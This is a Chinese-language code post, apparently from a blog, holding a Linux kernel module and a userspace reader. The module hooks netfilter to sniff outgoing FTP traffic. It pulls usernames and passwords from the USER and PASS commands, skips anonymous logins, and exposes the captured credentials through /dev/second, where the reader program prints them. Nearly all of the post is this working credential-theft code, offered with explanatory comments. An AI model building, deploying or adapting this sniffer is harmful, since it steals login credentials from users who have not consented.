代码里有注释
R0代码:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/cdev.h> #include <linux/types.h> #include <linux/netdevice.h> #include <linux/skbuff.h> #include <linux/netfilter_ipv4.h> #include <linux/inet.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/udp.h> #define SECOND_MAJOR 0 //用于显示IP #define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \ ((unsigned char *)&addr)[1], \ ((unsigned char *)&addr)[2], \ ((unsigned char *)&addr)[3] //通信端口 static int second_major = SECOND_MAJOR; //注册通信端口时用到的结构 保存端口信息 struct cdev g_cdev; char *g_UserName = NULL; char *g_PassWord = NULL; char *g_Retstr = NULL; int second_open(struct inode *inode, struct file *filp) { printk("Open!\n"); return 0; } int second_release(struct inode *inode, struct file *filp) { printk("Release!\n"); return 0; } static ssize_t second_read(struct file *filp, char __user *buf, size_t count, loff_t *ppos) { int ret = 0; //printk("Read!\n"); if(g_UserName && g_PassWord && g_Retstr) { if(*g_UserName == '\0' || *g_PassWord == '\0') { return 0; } strcpy(g_Retstr,"UserID:"); strcat(g_Retstr,g_UserName); strcat(g_Retstr," PassWord:"); strcat(g_Retstr,g_PassWord); //断数据可以用put_user 字符串或大数据使用copy_to_user if (copy_to_user(buf,g_Retstr,256)) { ret = -EFAULT; }else { ret = 256; } memset(g_UserName,'\0',256); memset(g_PassWord,'\0',256); } return ret; } //通信分发函数设置 static const struct file_operations second_fops = { .owner = THIS_MODULE, .open = second_open,//open .release = second_release,//close .read = second_read,//read }; static unsigned int ipprint_func( unsigned int hooknum, struct sk_buff * skb, const struct net_device *in, const struct net_device *out, int (*okfn) (struct sk_buff *)) { __be32 sip,dip; struct tcphdr *tcph = NULL; struct udphdr *udph = NULL; unsigned short sport = 0; unsigned short dport = 0; struct iphdr *iph; char *data = NULL; char *Username = NULL; char *PassWord = NULL; int i = 0; int len = 0; if(skb) { struct sk_buff *sb = NULL; sb = skb; //获取ip头 iph = ip_hdr(sb); //不说了 sip = iph->saddr; dip = iph->daddr; //如果协议不是TCP就放过 if(iph->protocol != IPPROTO_TCP) return NF_ACCEPT; //获取tcp头 /* ihl(Internet Header Length 报头长度), 位于IP报文的第二个字段,4位, 表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 */ tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4)); //要使用tcp_hdr 必须跳过ip头 也就是将ip端push出去 //tcph = tcp_hdr(sb); //获得端口 sport=ntohs(tcph->source); dport=ntohs(tcph->dest); //printk("dPort:%u",dport); if(dport != 21) return NF_ACCEPT; //获取tcp数据 data = (char *)((int)tcph + (int)(tcph->doff * 4)); //下面的可以抓个FTP包看看就明白了 if(strncmp(data,"USER",4) == 0) { //printk("Found User!\n"); data += 5; while (*(data + i) != '\r' && *(data + i) != '\n' && *(data + i) != '\0' && i < 15) { len++; i++; } if ((Username = kmalloc(len + 2, GFP_KERNEL)) == NULL) { printk("UserName is null !\n"); return NF_ACCEPT; } memset(Username, 0x0, len + 2); memcpy(Username, data, len); *(Username + len) = '\0'; if(strcmp(Username,"anonymous") == 0) { kfree(Username); Username = NULL; } } else if(strncmp(data,"PASS",4) == 0) { //printk("Found PassWord!\n"); data += 5; while (*(data + i) != '\r' && *(data + i) != '\n' && *(data + i) != '\0' && i < 15) { len++; i++; } if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL) { printk("UserName is null !\n"); return NF_ACCEPT; } memset(PassWord,0x0,len+2); memcpy(PassWord,data,len); *(PassWord + len) = '\0'; if(strstr(PassWord,"@")) { kfree(PassWord); PassWord=NULL; } } else { // printk("No Found FTP!\n"); return NF_ACCEPT; } //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport); if(Username) { printk("UserName:%s\n",Username); memset(g_UserName,0x0,256); // strcpy(g_UserName,Username); memcpy(g_UserName,Username,256); kfree(Username); } if(PassWord) { printk("PassWord:%s\n",PassWord); memset(g_PassWord,0x0,256); // strcpy(g_PassWord,PassWord); memcpy(g_PassWord,PassWord,256); kfree(PassWord); } } return NF_ACCEPT; } //设置回调信息 struct nf_hook_ops ipprint_ops = { .list = {NULL,NULL}, .hook = ipprint_func,//回调函数 .pf = PF_INET,//协议 ipv4还是ipv6 .hooknum = NF_INET_POST_ROUTING,//hook在什么地方 //.hooknum = NF_INET_LOCAL_IN, .priority = NF_IP_PRI_FILTER+2//优先级 }; static int __init ipprint_init(void) { int ret; int iDevno = 0; //从用户那里尝试获得一个设备号 dev_t devno = MKDEV(second_major, 0); //如果用户没有指定 就直接申请一个 if (second_major) { ret = register_chrdev_region(devno, 1, "second"); }else { ret = alloc_chrdev_region(&devno, 0, 1, "second"); second_major = MAJOR(devno); } if (ret < 0) { return ret; } /*if((g_cdev = (struct cdev)kmalloc(sizeof(struct cdev),GFP_KERNEL)) == NULL) { ret = -ENOMEM; unregister_chrdev_region(devno, 1); return ret; } memset(g_cdev,0x0,sizeof(struct cdev));*/ //获得设备号 iDevno = MKDEV(second_major,0); //初始化通信 cdev_init(&g_cdev, &second_fops); g_cdev.owner = THIS_MODULE; g_cdev.ops = &second_fops; ret = cdev_add(&g_cdev, iDevno, 1); if (ret) { printk(KERN_NOTICE "Error %d add second%d", ret, 0); } g_UserName = kmalloc(256,GFP_KERNEL); g_PassWord = kmalloc(256,GFP_KERNEL); g_Retstr = kmalloc(256,GFP_KERNEL); if(g_UserName==NULL || g_PassWord==NULL || g_Retstr == NULL ) { unregister_chrdev_region(devno, 1); /*if(g_cdev) kfree(g_cdev);*/ return -ENOMEM; } //注册网络防火墙 nf_register_hook(&ipprint_ops); printk("DriverEntry!\n"); return 0; } static void __exit ipprint_exit(void) { nf_unregister_hook(&ipprint_ops); kfree(g_UserName); kfree(g_PassWord); kfree(g_Retstr); cdev_del(&g_cdev); //kfree(g_cdev); unregister_chrdev_region(MKDEV(second_major, 0), 1); printk("DriverUnload!\n"); } module_init(ipprint_init); module_exit(ipprint_exit); module_param(second_major, int, S_IRUGO); MODULE_AUTHOR("djwow"); MODULE_DESCRIPTION("GetFtpPassTest"); MODULE_LICENSE("GPL");
#include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <malloc.h> int main(void) { int fd, i; int data; //char *strFtp = malloc(256); //memset(strFtp,'\0',256); char strFtp[256] = {0}; fd = open("/dev/second",O_RDONLY); if (fd < 0) { printf("open /dev/second error\n"); } printf("input any key Get Ftp\n"); getchar(); while(1) { read(fd, strFtp, 256); if(*strFtp!='\0') { printf("%s\n",strFtp); printf("input any key Exit....\n"); getchar(); break; } sleep(1); } close(fd); }